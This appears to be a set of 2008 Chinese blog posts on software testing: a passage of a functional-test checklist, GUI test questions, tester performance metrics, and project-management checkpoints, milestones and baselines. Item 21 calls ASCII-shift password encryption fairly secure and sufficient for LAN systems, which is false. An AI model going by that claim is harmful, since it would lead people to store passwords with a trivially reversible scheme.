20、输入法半角全角检查：在输入信息项中，输入半角或全角的信息，查看系统如何处理。如对于要求输入符点型数据的项中，输入全角的小数点（“。”或“．”，如４．５）；输入全角的空格等。
21、密码检查：一些系统的加密方法采用对字符Ascii码移位的方式，处理密码加密相对较为简单，且安全性较高，对于局域网系统来说，此种方式完全可以起到加密的作用，但同时，会造成一些问题，即大于128的Ascii对应的字符在解密时无法解析，尝试使用“uvwxyz”等一些码值较大的字符作为密码，同时，密码尽可能的长，如17位密码等，造成加密后的密码出现无法解析的字符。
22、用户检查：任何一个系统，都有各类不同的用户，同样具有一个或多个管理员用户，检查各个管理员之间是否可以相互管理，编辑、删除管理员用户。同时，对于一般用户，尝试删除，并重建同名的用户，检查该用户其它信息是否重现。同样，提供注销功能的系统，此用户再次注册时，是否作为一个新的用户。
23、系统数据检查：这是功能测试最重要的，如果系统数据计算不正确，那么功能测试肯定是通不过的。数据检查根据不同的系统，方法不同。对于业务管理平台，数据随业务过程、状态的变化保持正确，不能因为某个过程出现垃圾数据，也不能因为某个过程而丢失数据。
24、系统可恢复性检查：以各种方式把系统搞瘫，测试系统是否可正常迅速恢复。 -
GUI基本测试内容
2008-4-24
图形用户界面（ GUI ）对软件测试提出了有趣的挑战，因为 GUI 开发环境有可复用的构件，开发用户界面更加省时而且更加精确。同时， GUI 的复杂性也增加了，从而加大了设计和执行测试用例的难度。因为现在 GUI 设计和实现有了越来越多的类似，所以也就产生了一系列的测试标准。下列问题可以作为常见 GUI 测试的指南：
窗口：
· 窗口是否基于相关的输入和菜单命令适当地打开？
· 窗口能否改变大小、移动和滚动？
· 窗口中的数据内容能否用鼠标、功能键、方向键和键盘访问？
· 当被覆盖并重新调用后，窗口能否正确地再生？
· 需要时能否使用所有窗口相关的功能？
· 所有窗口相关的功能是可操作的吗？
· 是否有相关的下拉式菜单、工具条、滚动条、对话框、按钮、图标和其他控制可为窗口使用，并适当地显示？
· 显示多个窗口时，窗口的名称是否被适当地表示？
· 活动窗口是否被适当地加亮？
· 如果使用多任务，是否所有的窗口被实时更新？
· 多次或不正确按鼠标是否会导致无法预料的副作用？
· 窗口的声音和颜色提示和窗口的操作顺序是否符合需求？
· 窗口是否正确地被关闭？
下拉式菜单和鼠标操作：
· 菜单条是否显示在合适的语境中？
· 应用程序的菜单条是否显示系统相关的特性（如时钟显示）？
· 下拉式操作能正确工作吗？
· 菜单、调色板和工具条是否工作正确？
· 是否适当地列出了所有的菜单功能和下拉式子功能？
· 是否可以通过鼠标访问所有的菜单功能？
· 文本字体、大小和格式是否正确？
· 是否能够用其他的文本命令激活每个菜单功能？
· 菜单功能是否随当前的窗口操作加亮或变灰？
· 菜单功能是否正确执行？
· 菜单功能的名字是否具有自解释性？
· 菜单项是否有帮助，是否语境相关？
· 在整个交互式语境中，是否可以识别鼠标操作？
· 如果要求多次点击鼠标，是否能够在语境中正确识别？
· 光标、处理指示器和识别指针是否随操作恰当地改变？
数据项：
· 字母数字数据项是否能够正确回显，并输入到系统中？
· 图形模式的数据项（如滚动条）是否正常工作？
· 是否能够识别非法数据？
· 数据输入消息是否可理解？ -
转：如何有效的对测试人员进行业绩考核
2008-4-22
鄙人从事软件测试好几年了，也一直为该问题困扰，每次项目作完了，感觉大家都表现还马马虎虎。但是项目却感觉总不是那么完美，既然存在问题，说明测试人员的考核做的不到位，所以最近痛定思痛，也咨询了一些在微软和IBM做测试的朋友，结合自己多年来的实践，得出如下核心考核指标，和大家共享。
测试人员主要是三个方面。
第一，整体工作效率。第二，工作结果。第三，过程控制。（针对测试主管或组长）
1.整体工作效率
1.1有效工作时间
主要check指标是每日实际工作时间，按照Ms的标准，一个测试工程师的每天的有效工作时间应该在70%以上。如果只有50%或以下的有效工作时间，那么不能成为好的测试工程师，因为他有能力做得更好。
1.2是否在制定时间内完成工作任务
主要check指标是进度偏离度。主要是和测试计划相比，有多少的延期。这个指标计算是：计划时间/实际需用时间。
当然，本指标未考虑其他因素，如开发人员窝工导致的delay。
2.工作结果
2.1测试用例的数量和质量
a，测试用例的数量
主要考核指标是用例编写速度，考核办法是测试用例的个数/写用例所用时间。
b，测试用例的质量
主要考核指标是用例编写质量，用于考察文档是由有效的指导了测试工作。考核办法是来自用例的bug数目/总bug数目，应该是70%以上才算是质量比较好的用例。
2.2bug的数量和质量
a，bug提交的数量
主要考核指标是提交bug的数量，这个指标根据项目不同而定，不好给出固定经验值。
b，bug的质量
主要考核指标是提交bug的质量，即提交的bug，严重程度和，发现路径的复杂程度
c，发现bug的阶段
主要考核指标是提交bug的时间段，具体执行是统计在测试的每个阶段，发现bug的比例，特别是严重的bug发现的早晚
2.3是否及时验证关闭bug
主要考核指标是验证关闭bug的及时度
2.4测试自动化程度及收效
主要考核指标是，测试中自动化运用的含量，也就是测试技术含量，成果如何？
2.5所负责模块的产品总体质量以及用户反馈
这个总体质量是产品发布之后一段时间才能得出结论，主要是市场，用户对产品的质量、稳定性、性能的反馈。
考核的主要指标是两个。
a，根据市场反馈（由经理定性考核）
b，根据测试人员提交的bug和用户反馈的bug之间的比例，比例越大，说明测试质量相对越高。当然前提是必须划清楚客户的新需求，或者对spec设计方面的抱怨。
3.过程改进
考核点，是纵向对比，相比上一个项目，在质量控制上和测试进度进程上有否进步。包括测试方法，提升质量的手段，测试数据记录，用例更新等等有没有改进。
该项具体考核方法也是经理来根据测试组在过程中具体表现，来定性打分。
还包括测试人员在测试过程中的学习能力。这个也是定性。
4.考核注意事项
4.1统计bug的注意事项
5.其它注意事项
作为考核者要注意以下比例，也许有些没有列入考核内容，但是如下这些点可以指导测试。
a，测试团队发现的bug和所有bug之间的比例
b，spec设计造成的bug
c，重复或者误提交的bug所占的比例
d，每周发现的bug的趋势图
e，Bug严重等级的构成比例
f，Bug从提交到解决的平均需要时间
g，Bug从解决到关闭的平均需要时间 -
项目管理的三个重要概念检查点、里程碑、基线
2008-4-17
项目生命周期中有三个与时间相关的重要概念，我发现很多人对这三个概念理解不准确，更不知道如何进行控制。因此把这三个概念论述得比较准确的一段文字贴出来，帮助大家理解。这三个概念分别是 检查点（ CheckPoint ）、里程碑（ Mile Stone ）和基线（ Base Line ），他们一起描述了在什么时候（ When ）对项目进行什么样控制。
检查点
指在规定的时间间隔内对项目进行检查，比较实际与计划之间的差异，并根据差异进行调整。可将检查点看作是一个 固定 “ 采样 ” 时点，而时间间隔根据项目周期长短不同而不同，频度过小会失去意义，频度过大会增加管理成本。常见 的间隔是每周一次，项目经理需要召开例会并上交周报。
里程碑
完成阶段性工作的标志，不同类型的项目里程碑不同。里程碑在项目管理中具有重要意义，我们用一个例子说明
情况一你让一个程序员一周内编写一个模块，前 3 天你们可能都挺悠闲，可后 2 天就得拼命加班编程序了，而到周末时 又发现系统有错误和遗漏，必须修改和返工，于是周末又得加班了。
情况二实际上你有另一种选择，即周一与程序员一起列出所有需求，并请业务人员评审，这时就可能发现遗漏并即 时修改；周二要求程序员完成模块设计并由你确认，如果没有大问题，周三、周四就可让程序员编程。同时自己准备 测试案例，周五完成测试；一般经过需求、设计确认，如果程序员合格则不会有太大问题，周末可以休息了。 第二种方式增加了 “ 需求 ” 和 “ 设计 ” 两个里程碑，这看似增加了额外工作，但其实有很大意义首先，对一些复杂的项 目，需要逐步逼近目标，里程碑产出的中间 “ 交付物 ” 是每一步逼近的结果，也是控制的对象。如果没有里程碑，中间 想知道 “ 他们做的怎么样了 ” 是很困难的。其次，可以降低项目风险。通过早期评审可以提前发现需求和设计中的问 题，降低后期修改和返工的可能性。另外，还可根据每个阶段产出结果分期确认收入，避免血本无归。第三，一般人 在工作时都有 “ 前松后紧 ” 的习惯，而里程碑强制规定在某段时间做什么，从而合理分配工作，细化管理 “ 粒度 ” 。
基线
指一个（或一组）配置项在项目生命周期的不同时间点上通过正式评审而进入正式受控的一种状态。基线其实是一些 重要的里程碑，但相关交付物要通过正式评审并作为后续工作的基准和出发点。基线一旦建立后变化需要受控制。
重要的检查点是里程碑，重要的需要客户确认的里程碑，就是基线。在我们实际的项目中，周例会是检查点的表现形式，高层的阶段汇报会是基线的表现形式。